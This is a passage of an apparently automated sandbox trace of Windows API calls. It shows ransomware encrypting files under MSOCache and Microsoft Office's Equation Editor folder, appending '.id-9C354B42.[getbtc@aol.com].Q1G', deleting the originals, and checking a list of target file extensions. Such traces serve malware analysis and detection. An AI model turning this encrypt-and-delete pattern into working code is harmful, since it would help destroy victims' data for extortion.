lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0054.300] SetEndOfFile (hFile=0x1f0) returned 1 [0054.300] CloseHandle (hObject=0x1f0) returned 1 [0054.300] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.300] SetEndOfFile (hFile=0x218) returned 1 [0054.555] CloseHandle (hObject=0x218) returned 1 [0054.555] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0054.556] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0054.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.556] lstrlenW (lpString=".doc") returned 4 [0054.556] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.556] lstrlenW (lpString=".docx") returned 5 [0054.556] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0054.556] lstrlenW (lpString=".pdf") returned 4 [0054.556] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.556] lstrlenW (lpString=".xls") returned 4 [0054.556] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.556] lstrlenW (lpString=".xlsx") returned 5 [0054.556] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0054.556] lstrlenW (lpString=".ppt") returned 4 [0054.556] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.556] lstrlenW (lpString=".zip") returned 4 [0054.556] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.556] lstrlenW (lpString=".rar") returned 4 [0054.556] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.556] lstrlenW (lpString=".bz2") returned 4 [0054.556] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.557] lstrlenW (lpString=".7z") returned 3 [0054.557] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString=".dbf") returned 4 [0054.557] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString=".1cd") returned 4 [0054.557] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString=".jpg") returned 4 [0054.557] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString=".doc") returned 4 [0054.557] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.557] lstrlenW (lpString=".docx") returned 5 [0054.557] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0054.557] lstrlenW (lpString=".pdf") returned 4 [0054.557] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString=".xls") returned 4 [0054.557] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString=".xlsx") returned 5 [0054.557] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0054.557] lstrlenW (lpString=".ppt") returned 4 [0054.557] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.557] lstrlenW (lpString=".zip") returned 4 [0054.557] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString=".rar") returned 4 [0054.557] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.557] lstrlenW (lpString=".bz2") returned 4 [0054.557] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.557] lstrlenW (lpString=".7z") returned 3 [0054.557] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.558] lstrlenW (lpString=".dbf") returned 4 [0054.558] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.558] lstrlenW (lpString=".1cd") returned 4 [0054.558] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.558] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0054.558] lstrlenW (lpString=".jpg") returned 4 [0054.558] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.558] lstrcmpiW (lpString1=".EXE", lpString2=".Q1G") returned -1 [0054.558] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0054.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.558] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=543304) returned 1 [0054.558] CloseHandle (hObject=0x218) returned 1 [0054.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0054.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.559] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.559] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.559] GetLastError () returned 0x0 [0054.559] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x84a48, lpOverlapped=0x0) returned 1 [0054.570] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0054.579] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.579] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.579] SetEndOfFile (hFile=0x180) returned 1 [0054.579] CloseHandle (hObject=0x180) returned 1 [0054.579] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.580] SetEndOfFile (hFile=0x218) returned 1 [0054.584] CloseHandle (hObject=0x218) returned 1 [0054.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.585] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.585] lstrlenW (lpString=".doc") returned 4 [0054.585] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.585] lstrlenW (lpString=".docx") returned 5 [0054.585] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0054.585] lstrlenW (lpString=".pdf") returned 4 [0054.585] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.585] lstrlenW (lpString=".xls") returned 4 [0054.585] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.585] lstrlenW (lpString=".xlsx") returned 5 [0054.585] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0054.585] lstrlenW (lpString=".ppt") returned 4 [0054.585] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.585] lstrlenW (lpString=".zip") returned 4 [0054.585] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.585] lstrlenW (lpString=".rar") returned 4 [0054.585] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.585] lstrlenW (lpString=".bz2") returned 4 [0054.585] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.585] lstrlenW (lpString=".7z") returned 3 [0054.585] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.585] lstrlenW (lpString=".dbf") returned 4 [0054.585] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.585] lstrlenW (lpString=".1cd") returned 4 [0054.585] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".jpg") returned 4 [0054.586] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".doc") returned 4 [0054.586] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0054.586] lstrlenW (lpString=".docx") returned 5 [0054.586] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0054.586] lstrlenW (lpString=".pdf") returned 4 [0054.586] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString=".xls") returned 4 [0054.586] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString=".xlsx") returned 5 [0054.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0054.586] lstrlenW (lpString=".ppt") returned 4 [0054.586] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".zip") returned 4 [0054.586] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString=".rar") returned 4 [0054.586] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0054.586] lstrlenW (lpString=".bz2") returned 4 [0054.586] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0054.586] lstrlenW (lpString=".7z") returned 3 [0054.586] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".dbf") returned 4 [0054.586] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".1cd") returned 4 [0054.586] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0054.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0054.586] lstrlenW (lpString=".jpg") returned 4 [0054.586] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0054.587] lstrcmpiW (lpString1=".manifest", lpString2=".Q1G") returned -1 [0054.587] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0054.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.587] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=566) returned 1 [0054.587] CloseHandle (hObject=0x218) returned 1 [0054.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0054.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.587] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.587] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.588] GetLastError () returned 0x0 [0054.588] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x236, lpOverlapped=0x0) returned 1 [0054.589] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x240, lpOverlapped=0x0) returned 1 [0054.590] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.590] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0054.590] SetEndOfFile (hFile=0x180) returned 1 [0054.590] CloseHandle (hObject=0x180) returned 1 [0054.590] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.590] SetEndOfFile (hFile=0x218) returned 1 [0054.591] CloseHandle (hObject=0x218) returned 1 [0054.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.591] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".doc") returned 4 [0054.592] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".docx") returned 5 [0054.592] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.592] lstrlenW (lpString=".pdf") returned 4 [0054.592] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".xls") returned 4 [0054.592] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".xlsx") returned 5 [0054.592] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.592] lstrlenW (lpString=".ppt") returned 4 [0054.592] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".zip") returned 4 [0054.592] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".rar") returned 4 [0054.592] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".bz2") returned 4 [0054.592] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString=".7z") returned 3 [0054.592] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".dbf") returned 4 [0054.592] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".1cd") returned 4 [0054.592] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".jpg") returned 4 [0054.592] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.592] lstrlenW (lpString=".doc") returned 4 [0054.593] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".docx") returned 5 [0054.593] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0054.593] lstrlenW (lpString=".pdf") returned 4 [0054.593] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".xls") returned 4 [0054.593] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".xlsx") returned 5 [0054.593] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0054.593] lstrlenW (lpString=".ppt") returned 4 [0054.593] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.593] lstrlenW (lpString=".zip") returned 4 [0054.593] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".rar") returned 4 [0054.593] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".bz2") returned 4 [0054.593] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString=".7z") returned 3 [0054.593] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.593] lstrlenW (lpString=".dbf") returned 4 [0054.593] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.593] lstrlenW (lpString=".1cd") returned 4 [0054.593] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0054.593] lstrlenW (lpString=".jpg") returned 4 [0054.593] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0054.593] lstrcmpiW (lpString1=".HLP", lpString2=".Q1G") returned -1 [0054.593] lstrlenW (lpString="EQNEDT32.HLP") returned 12 [0054.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.594] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=176311) returned 1 [0054.594] CloseHandle (hObject=0x218) returned 1 [0054.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 0x20 [0054.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.594] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.594] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.594] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.595] GetLastError () returned 0x0 [0054.595] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x2b0b7, lpOverlapped=0x0) returned 1 [0054.599] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2b0c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0x2b0c0, lpOverlapped=0x0) returned 1 [0054.602] ReadFile (in: hFile=0x218, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.602] WriteFile (in: hFile=0x180, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.602] SetEndOfFile (hFile=0x180) returned 1 [0054.602] CloseHandle (hObject=0x180) returned 1 [0054.602] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.602] SetEndOfFile (hFile=0x218) returned 1 [0054.604] CloseHandle (hObject=0x218) returned 1 [0054.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.id-9C354B42.[getbtc@aol.com].Q1G", 